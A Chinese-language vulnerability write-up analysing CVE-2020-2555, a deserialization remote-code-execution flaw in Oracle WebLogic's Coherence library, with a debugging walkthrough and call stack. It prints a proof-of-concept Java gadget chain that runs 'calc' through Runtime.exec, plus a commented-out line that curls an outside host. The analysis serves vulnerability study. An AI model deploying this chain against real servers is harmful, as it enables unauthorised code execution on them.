CVE-2020-2555——Coherence反序列化初探

 

一、原理

(一)概述

不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE,并且通常不容易彻完全修补。CVE-2020-2555就属于这一类。

针对CVE-2015-4852的补丁的绕过有两种大思路,一是寻找新的可以实现任意代码执行的类,二是换可触发利用链的反序列化点(包括换接收输入的点和换到包装类的内部)。之前的绕过基本上都是第二种,这里主要是第一种,在选择的类上直接另立门户。

(二)CVE-2020-2555

CVE-2020-2555也是反序列化漏洞,其内部的原理不很是很复杂,却非常值得学习。

前面讲过一个故事,现在接着往下编。那个小孩子觉得药都不好吃,于是闹着不想吃药(有了新补丁),医生干脆放弃吃药(找不到新的包装类了),转为输液治疗(CVE-2017-3248),但是小孩子觉得输液会疼,又不想输液,于是医生找了一种甜的药(CVE-2020-2555),用来治病(getshell)。

(三)原理

1.原理

清水川崎原文链接

ReflectionExtractor内有method.invoke(),可以用于执行任意方法,

通过构造链式的ChainedExtractor就可以实现任意代码执行。LimitFilter中的toString()方法会调用m_extractor的extract(),而BadAttributeValueExpException的readObject()中可以调用其成员变量的toString()。

由此一来,我们可以构造BadAttributeValueExpException的val为LimitFilter对象,这个对象的m_extractor为内部成链的chainedExtractor,和上面一段的描述逆序执行,最终触发RCE。

2.工具分析

这里用Y4er师傅的PoC,将CVE_2020_2555.java添加到weblogic_cmd中。

Y4er师傅 PoC链接

择要展示一下代码。

先是按顺序构造ChainedExtractor,

// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
        "getMethod",
        new Object[]{"getRuntime", new Class[0]}
);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
        "invoke",
        new Object[]{null, new Object[0]}
);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
        "exec",
        new Object[]{new String[]{"calc"}}
        //new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);

ReflectionExtractor[] extractors = {
        extractor1,
        extractor2,
        extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

再是封装进LimitFilter对象,

LimitFilter limitFilter = new LimitFilter();

//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);

接下来将其封装进BadAttributeValueExpException,

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

看到这里,我回想起了CVE-2016-3510中用到的CC1链,相似度可谓非常高了,CC1中的InvokerTransformer也有method.invoke(),几个Transformer封装成了ChainedTransformer,再封装进可以对成员变量调用readObject()的类,最终发送出去。

整个链的构造如出一辙,不一样的就是换了反序列化点,CVE-2016-3510中readObject便算是完成了任务,而CVE-2020-2555中则是再通过toString进入另一层面。

 

二、调试

(一)环境搭建

版本与之前不同了,漏洞用到的UniversalExtractor是WebLogic 12.2.1.4.0所特有的,而vulhub\weblogic均是10.3.6版本的,搭建相应的docker也需要下载相应的jar,可直接搭在本机上。

(二)复现

运行PoC,

弹出计算器,

(三)调试

先上调用栈,

extract:121, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
toString:599, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

PoC打过去,断下,

一开始先是BadAttributeValueExpException对象的readObject,

这里的val对应PoC中这几行代码,

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

因为我是在本地调试,有时候想看什么结果就会在调试器内部执行完恶意代码,就会弹出计算器,不是什么大问题。

接下来,进入LimitFilter的toString(),

这里关键的变量我们都已经控制好了,比如这里的m_comparator,此时的m_extractor为ChainedExtractor。
跟进它的extract,

其内部extract会调用每个元素的extract,

与ChainedTransformer的transform相似度极高,

进入第0个extractor的extract,从这里不难看出为什么oTarget要是个java.lang.Runtime,

但是第一次调试时我产生了疑惑,

为什么m_methodPrev是个非空值,

下图为调试PoC时,ChainedExtractor构造好时的结果,

既然attacker构造时是空,那么为什么在victim上是个非空值呢?

我们先继续调PoC,经调试发现,

执行完这一行代码之后,m_methodPrev的值就会改变,

我们先跟进之,

可以看到,

在执行getFieldAccessor(obj).set(obj, value);之前,m_methodPrev的值都没有改变,问题的范围又得到了缩小,
继续跟进,进入UnsafeObjectFieldAccessorImpl的set,

就在上图断点这一行,执行完,m_methodPrev的值就会改变,但是再想深入跟就跟进不了了。

下面回到调试WLS,这一部分比较熟悉了,前面也见过,
进入第一个ReflectionExtractor,

获得Runtime实例,

第二个ReflectionExtractor,

 

三、收获与启示

因为我是先学习了CVE-2015-4852和CVE-2020-14645之后再学习的这个CVE,感觉这像是一个承前启后的漏洞。首先,前承了CVE-2015-4852的攻击链的思路,其次,又开启了后面的对Extractor的利用的篇章。

整个利用链条和CVE-2020-14645比起来相对简单,但其中不乏有相似之处和值得研究的细节,学习完后有所收获,比如一个新名词sink,
Sinks即可能会有副作用的Java方法,常见的有:

FileOutputStream.write() 可造成任意文件写;
Runtime.exec()可造成任意代码执行;
Method.invoke()可造成任意方法调用。

(完)